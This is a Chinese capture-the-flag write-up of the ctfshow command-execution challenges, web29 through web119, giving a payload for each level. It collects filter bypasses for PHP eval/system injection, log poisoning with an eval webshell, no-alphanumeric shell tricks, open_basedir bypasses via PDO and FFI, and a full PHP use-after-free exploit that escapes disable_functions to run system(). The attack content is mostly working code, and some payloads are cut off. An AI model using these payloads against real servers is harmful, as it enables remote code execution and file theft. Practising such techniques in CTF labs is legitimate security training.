ctfshow-命令执行

命令执行

反引号``

反引号``即命令替换
是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出

单引号,双引号

适用条件:过滤了字符串
放在shell命令中,绕过正则匹配且不影响原意

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

读文件绕过(cat绕过)

适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

linux通配符绕过

适用条件:过滤了flag,没有过滤 ? *
在linux系统中 有一些通配符

匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

include 和伪协议的配合

因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响

web29

只过滤了flag

ctfshow-命令执行_第1张图片

c=echo `nl fl''ag.php`;
c=system('cat f*');

web30

过滤了flag,system,php

ctfshow-命令执行_第2张图片

c=echo `nl fl''ag.ph''p`;
c=echo `cat f*`;

web31

过滤了flag system php cat sort shell . space ’

ctfshow-命令执行_第3张图片

php函数操作:
scandir(’.’):扫描当前目录
localeconv() 函数返回一数组。而数组第一项就是`.`(用来绕过.过滤)
pos(),current():返回数组第一个值

数组操作函数:
end():数组指针指向最后一位
next(): 数组指针指向下一位
array_reverse(): 将数组颠倒
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值

读取文件函数
file_get_content() :因为et被ban,所以不能使用
readfile()
highlight_file()
show_source()
c=print_r(scandir(pos(localeconv())));
查看当前目录所有文件

c=show_source(next(array_reverse(scandir(pos(localeconv())))));
读取当前目录倒数第二个文件
c=echo`tac%09f*`;

web32

过滤 flag system php cat sort shell . space ’ ` echo ; (

ctfshow-命令执行_第4张图片

因为只对C进行了过滤

c=include$_GET["url"]?>
&url=php://filter/read=convert.base64-encode/resource=flag.php

web33

过滤了flag system php cat sort shell . space ’ ` echo ; ( "

ctfshow-命令执行_第5张图片

因为又多了双引号过滤

c=include$_GET[1]?>
&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

过滤 flag system php cat sort shell . space ’ ` echo ; ( : "

ctfshow-命令执行_第6张图片

对c多了一个:但是不影响include

c=include$_GET[1]?>
&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

过滤多了= <

ctfshow-命令执行_第7张图片

还是不影响include

c=include$_GET[1]?>
&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

过滤多了/ 0-9

ctfshow-命令执行_第8张图片

改为a

c=include$_GET[a]?>
&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

ctfshow-命令执行_第9张图片

过滤了flag ,又是 include 文件包含,利用伪协议

data://
可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
因为被当成php所以不能用shell
?c=data://text/plain,
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

也可以通过nginx的日志文件/var/log/nginx/access.log来获得shell

日志默认路径

 (1) apache+Linux日志默认路径
  /etc/httpd/logs/access_log
或者
  /var/log/httpd/access_log
(2) apache+win2003日志默认路径
  D:\xampp\apache\logs\access.log

 D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件
 C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
 %SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
 日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
写入日志文件的利用过程是,利用浏览器直接构造一个关于请求资源的报错信息,次消息中包含依据。次报错信息服务自动记录到日志文件,但实际测试发现写入日志文件内的报错信息发生了字符转码:        
">"  ----> 小于号被转码为了 %3E
 " "  ----> 空格被转码为了 %20
最后写入到日志文件中的一句话就变成了  %3C?php%20@eval($_POST[123]);?%3E。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3J6TtDQR-1608354495640)(C:\Users\J\Desktop\大学\WP-image\image-20201211165554149.png)]

如果访问一个不存在的资源时,如http://www.xxxx.com/,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全期间,安装apache时尽量不要使用默认路径。

所以用BP抓包发送一句话

ctfshow-命令执行_第10张图片

看到日志中多了一句话

ctfshow-命令执行_第11张图片

蚁剑连接得到flag

web38

多了过滤 php file

ctfshow-命令执行_第12张图片

依旧能通过base64和日志shell拿到flag

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

通过后缀限制了include

使用data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

ctfshow-命令执行_第13张图片

例:
?c=data://text/plain,
得到 111.php

?c=data://text/plain,

web40

过滤了超级多符号

ctfshow-命令执行_第14张图片

web41

1.这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。

ctfshow-命令执行_第15张图片

2.生成可用字符的集合,从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符

import re
content = ''
preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/'
for i in range(256):
    for j in range(256):
        if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
            k = i | j
            if k>=32 and k<=126:
                a = '%' + hex(i)[2:].zfill(2)
                b = '%' + hex(j)[2:].zfill(2)
                content += (chr(k) + ' '+ a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)

3.再生成字符串中找到连续字母

a %60 %01
b %60 %02
c %60 %03
d %60 %04
e %60 %05
f %60 %06
g %60 %07
h %60 %08
i %60 %09
j %60 %0a
k %60 %0b
l %60 %0c
m %60 %0d
n %60 %0e
o %60 %0f
p %60 %10
q %60 %11
r %60 %12
s %60 %13
t %60 %14
u %60 %15
v %60 %16
w %60 %17
x %60 %18
y %60 %19
z %60 %1a
{ %60 %1b
| %60 %1c
} %60 %1d
~ %60 %1e
` %60 %20

构造payload

c="");('%60%60%60%60%60%60'|'%13%19%13%14%05%0d')(('%03%01%14'|'%60%60%60').' *');#
# system('cat *')
eval(echo "");system('cat *');#;);

注意:hackbar发送无效,使用BP成功

web42

1.这里意思为将

标准输出和标准输入都扔到到/dev/null(垃圾桶)中

ctfshow-命令执行_第16张图片

重定向符号

0表示键盘输入 1表示屏幕输出 2表示错误输出

> 默认为标准输出重定向,与 1> 相同

2>&1 意思是把 标准错误输出 重定向到 标准输出.(如果>file 后输出,因为已经被重定向到file,所以标准错误也输出到file)

&>file 意思是把 标准输出 和 标准错误输出 都重定向到文件file中

2.所以不能让后面执行,所以需要把后面截断,截断后后面的语句不执行才行

``;,%0a,%26以及||`都可以

3.接着ls,cat即可

?c=cat flag.php;

web43

1.过滤了;和cat

ctfshow-命令执行_第17张图片

2.使用||,和less(参考cat绕过)

?c=less flag.php||

web44

1.过滤了flag

ctfshow-命令执行_第18张图片

2.||,less *.php

?c=less *.php||

web45

1.还过滤了space

ctfshow-命令执行_第19张图片

2.用$IFS绕过空格过滤

?c=less$IFS*.php||

web46

1.过滤了数字*(不好定位目标文件),$(空格不好绕过了)

ctfshow-命令执行_第20张图片

2.用重定向符号将标准输出到less,再用’'来绕过flag

空格绕过

  cat${IFS}flag.txt
  cat$IFS$9flag.txt 
  catflag.txt
  cat%20flag.txt

连接符截断绕过:

 less

$被过滤,payload

less

web47

1.多了几个linux读取方式

ctfshow-命令执行_第21张图片

2.但是还是有漏网之鱼

?c=vi

web48

1.多过滤了一些命令

ctfshow-命令执行_第22张图片

2.还是上题payload

?c=vi

web49

1.又过滤了`和%

ctfshow-命令执行_第23张图片

2.还是上题payload

?c=vi

web50

1.多了x09和x26的过滤

ctfshow-命令执行_第24张图片

?c=vi

web51

1.多了tac

ctfshow-命令执行_第25张图片

?c=vi

web52

1.多了>和<,$又被放出来了

ctfshow-命令执行_第26张图片

2.用$IFS绕过空格即可

注意这里flag换到了根目录,不带php后缀

?c=vi$IFS/fla''g||

web53

1.不需要截断直接绕过就可以执行

ctfshow-命令执行_第27张图片

2.ls查看当前目录,不知道是flag.php还是readflag

image-20201216130910429

3.$又被放了出来

?c=nl${IFS}fla''g.php

web54

1.过滤了*的快捷读取

if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
     
        system($c);
    }
}else{
     
    highlight_file(__FILE__);
}

2.还是使用vi,*用多个?代替即可

?c=vi${IFS}f???.???

web55

ctfshow-命令执行_第28张图片

2.过滤了字母

?c=vi${IFS}f???.???

无字母数字的命令执行

参考了P神的文章

leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
  • 1.shell下可以利用.来执行任意脚本

​ 和source一样,就是用当前的shell执行文件中的命令。比如,当前运行的shell是bash,. file的意思就是用bash执行file中的命令。

​ 用. file执行文件,不需要file有x权限的。但是目标服务器上要有一个我们可控的文件,才可以用.来执行它

  • 2可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字。

​ 但是除了PHP临时文件外,还会有其他临时文件在(如果其他文件优先执行,那就回报错停止,导致没有回显)

​ 观察其他临时文件发现都是小写字母结尾,所以可以利用通配符[@-[]来表示大写字母

  • ascii码表中大写字母位于@与[之间

  • 类似[1-9]匹配1-9的所有数字

1.了解了无字母数字的命令执行开始构造POC

先本地写一个上传表单


<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POCtitle>
head>
<body>
<form action="http://8bc8b0d5-246b-4d41-8f73-a552d8c65b11.chall.ctf.show/" method="post" enctype="multipart/form-data">
    
    <label for="file">文件名:label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
form>
body>
html>

2.随意选择一个php文件,BP抓包上传

ctfshow-命令执行_第29张图片

3.构造POC

注意:

  • 这题虽然没有过滤space,但BP中采用url编码,所以space用+或者%20代替
  • #! /bin/sh 是指此脚本使用/bin/sh 来执行,没有则脚本将在默认的shell中执行,默认shell是由用户所在的系统定义为执行shell脚本
  • 因为PHP的最后一个不是一定为大写字母,所以有时候多发几次才出现

ctfshow-命令执行_第30张图片

4.接下来cat flag.php即可

第二种方法

bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

payload

payload: ?c=/???/????64%20????.???
即 /bin/base64 flag.php

第三种方法

/usr/bin目录

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

payload

先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件

web56

1.多了一些过滤

ctfshow-命令执行_第31张图片

2.使用上题payload即可

web57

1.过滤了-不好匹配了

ctfshow-命令执行_第32张图片

过滤数字构造数字

2.在linux(ubuntu也行,但是阿里云的centos好像不行)中

${_}=""`	
$(())=0 
$((~$(())))=-1  # ~0=-1    0取反为-1
然后拼接出-36在进行取反
注意的是:
${_}会输出上一次的执行结果,第一次为""
$(()): 做运算默认为+

ctfshow-命令执行_第33张图片

3.payload

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))


构造流程:
1.$(())中包裹37个$((~$(())))
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
2.在外面再加个$((~))进行取反运算
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

ctfshow-命令执行_第34张图片

2.由于安全原因system()被禁用

Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

3.用scandir查看目录文件

c=print_r(scandir(current(localeconv())));

4.show_source和

c=highlight_file('flag.php');
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));

web59

1.应该多了一些函数的禁用

ctfshow-命令执行_第35张图片

c=show_source('flag.php');

web60

1.应该多了一些函数的禁用

ctfshow-命令执行_第36张图片

c=show_source('flag.php');

web61

1.应该多了一些函数的禁用

ctfshow-命令执行_第37张图片

c=show_source('flag.php');

web62

1.应该多了一些函数的禁用

ctfshow-命令执行_第38张图片

c=show_source('flag.php');

web63

1.都是一样的源码就不放了0.0

payload

c=show_source('flag.php');

web64

1.都是一样的源码就不放了0.0

payload

c=show_source('flag.php');

web65

1.都是一样的源码就不放了0.0

payload

c=show_source('flag.php');

web66

1.都是一样的源码就不放了0.0

2.show_source终于被过了,highlight_file没被过滤

3.但是

image-20201216235727823

4.查看文件根目录

c=print_r(scandir("/"));
## Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

payload

c=highlight_file('/flag.txt');

web67

1.都是一样的源码就不放了0.0

2.print_r被过滤,使用var_dump

c=var_dump(scandir("/"));
##	array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3

payload

c=highlight_file('/flag.txt');

web68

1.都是一样的源码就不放了0.0

2.目录文件

c=var_dump(scandir("/"));
##	array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }

3.highlight_file也被过滤了

payload

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
可以使用require和include引入

web69

1.都是一样的源码就不放了0.0

2.var_dump被过滤,使用遍历

c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}
##	0=>.1=>..2=>.dockerenv3=>bin4=>dev5=>etc6=>flag.txt7=>home8=>lib9=>media10=>mnt11=>opt12=>proc13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var

payload

c=include('/flag.txt');

web70

1.都是一样的源码就不放了0.0

2.遍历

c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}
##	0=>.1=>..2=>.dockerenv3=>bin4=>dev5=>etc6=>flag.txt7=>home8=>lib9=>media10=>mnt11=>opt12=>proc13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var 你要上天吗?

payload

c=include('/flag.txt');

web71

1.给了源码


error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
     
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
     
    highlight_file(__FILE__);
}

?>

你要上天吗?

2.将缓冲区数据获取给$s,再清楚,然后将数字小写字母全变为?

ctfshow-命令执行_第39张图片

3.所以遍历,就得不到结果了

c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}
##	
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ?=>.?=>..?=>.??????????=>????=>????=>????=>????.????=>?????=>????=>???????=>?????=>?????=>??????=>??????=>?????=>??????=>?????=>?????=>?????=>?????=>??? 你要上天吗?

4.这里通过exit();使程序提前退出,绕过后面的正则表达式

c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit(0);
##	0=>.1=>..2=>.dockerenv3=>bin4=>dev5=>etc6=>flag.txt7=>home8=>lib9=>media10=>mnt11=>opt12=>proc13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var

payload

c=include('/flag.txt');exit(0);

web72

1.给了源码


error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
     
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
     
    highlight_file(__FILE__);
}

?>

你要上天吗?

2open_basedir限制了根目录不孕讯查看

Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

##	警告:scandir():open_basedir限制生效。文件(/)不在允许的路径内:(/var/www/html/)/var/www/html//索引.php(19) :eval()'d第1行的代码
限制了目录的查询

DirectoryIterator类遍历目录

forexample:
isFile()){
        echo $file->getFilename()."
"; } }

4.需要先定位到目录,但不能直接"/"

会被open_basedir限制,这里用到glob://来查找匹配

ctfshow-命令执行_第40张图片

例:
getFilename(), $f->getSize()/1024);
}
?>

5.得到目录

c=?>$value){echo $key."=>".$value;};exit(0);?>
0=>bin1=>dev2=>etc3=>flag0.txt4=>home5=>lib6=>media7=>mnt8=>opt9=>proc10=>root11=>run12=>sbin13=>srv14=>sys15=>tmp16=>usr17=>var

6.需要查看flag 需要bypass disable_function(绕过open_basedir)

群主大大提供的uaf,我连用都不会用QAQ

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

web73

1.获得目录

c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit(0);
##	0=>bin1=>dev2=>etc3=>flagc.txt4=>home5=>lib6=>media7=>mnt8=>opt9=>proc10=>root11=>run12=>sbin13=>srv14=>sys15=>tmp16=>usr17=>var

2.因为这题没有open_basedir限制,直接include

c=include("/flagc.txt");exit(0);

web74

1.scandir被禁用,使用DirectoryIterator类

c=?>$value){echo $key."=>".$value;};exit(0);?>

#0=>bin1=>dev2=>etc3=>flagx.txt4=>home5=>lib6=>media7=>mnt8=>opt9=>proc10=>root11=>run12=>sbin13=>srv14=>sys15=>tmp16=>usr17=>var

2.没有open_basedir限制

c=include("/flagc.txt");exit(0);

web75

1.利用类查看

c=?>$value){echo $key."=>".$value;};exit(0);?>
##
0=>bin1=>boot2=>dev3=>etc4=>flag36.txt5=>home6=>lib7=>lib648=>media9=>mnt10=>opt11=>proc12=>readflag13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var

2.open_basedir没有限制根目录,但限制了flag文件

查看了提示的payload

数据库拓展读取文件

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

3.应该是通过连接数据库后load_file读取文件信息来绕过open_basedir限制

但怎么能知道数据库名和账号密码啊0.0

4.问了群主是配置文件得到的(不知道是什么配置文件)基本上都被open_basedir限制了,目录查询和文件读取都寸步难行

web76

和上题一样

web77

1.也是通过DirectoryIterator

c=?>$value){echo $key."=>".$value;};exit(0);?>
##
0=>bin1=>boot2=>dev3=>etc4=>flag36x.txt5=>home6=>lib7=>lib648=>media9=>mnt10=>opt11=>proc12=>readflag13=>root14=>run15=>sbin16=>srv17=>sys18=>tmp19=>usr20=>var

2.也是open_basedir限制

查询后,应该是这道题拓展(数据库相关)没有开启,所以不能使用PDO来读取文件

3.这道题有了新的姿势

利用FFI读取文件(php>=7.4)

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a=''cat /flag36x.txt > 1.txt';//因为没有回显
$ffi->system($a);//通过$ffi去调用system函数

4.本来我是利用cat /flag36x.txt > 1.txt,但这样include1.txt没有flag(本地实验这样是可以的0.0,不知道是不是flag36x.txt本来就是空的)

c=$ffi=FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt > 1.txt';$ffi->system($a);exit(0);

改为执行根目录下的readflag获得flag在重定向输出到2.txt

c=$ffi=FFI::cdef("int system(const char *command);");$a='/readflag > 2.txt';$ffi->system($a);exit(0);

5.直接include即可

c=include("./2.txt");exit(0);

web118

1.查看源代码

2.用fuzz跑了一下发现大写字母和以下字符未被过滤

ctfshow-命令执行_第41张图片

3.这题利用了bash的内置变量

Bash的内置变量绕过

在linux中可以用~获取变量的最后几位

ctfshow-命令执行_第42张图片

#大佬博客详细内置变量	https://www.cnblogs.com/sparkdev/p/9934595.html
1.$PATH 
用途:可执行文件的搜索路径。
用例:echo $PATH	通常是bin结尾
2. $PWD
用途:工作目录(你当前所在的目录)
用例:echo $PWD	题目环境中肯定是/var/www/html
而字母起到的作用是和0一样的
所以${PATH:~A}${PWD:~A}就是nl

payload

code=${PATH:~A}${PWD:~A} ????.???

web119

1.过滤了$PATH,继续找变量

这题争取构造 /bin/base64 flag.php格式

/???/???4 ???.???

?和空格没被过滤,所以只需要用内部函数构造/和4就行

2.先了解一些Bash内部函数

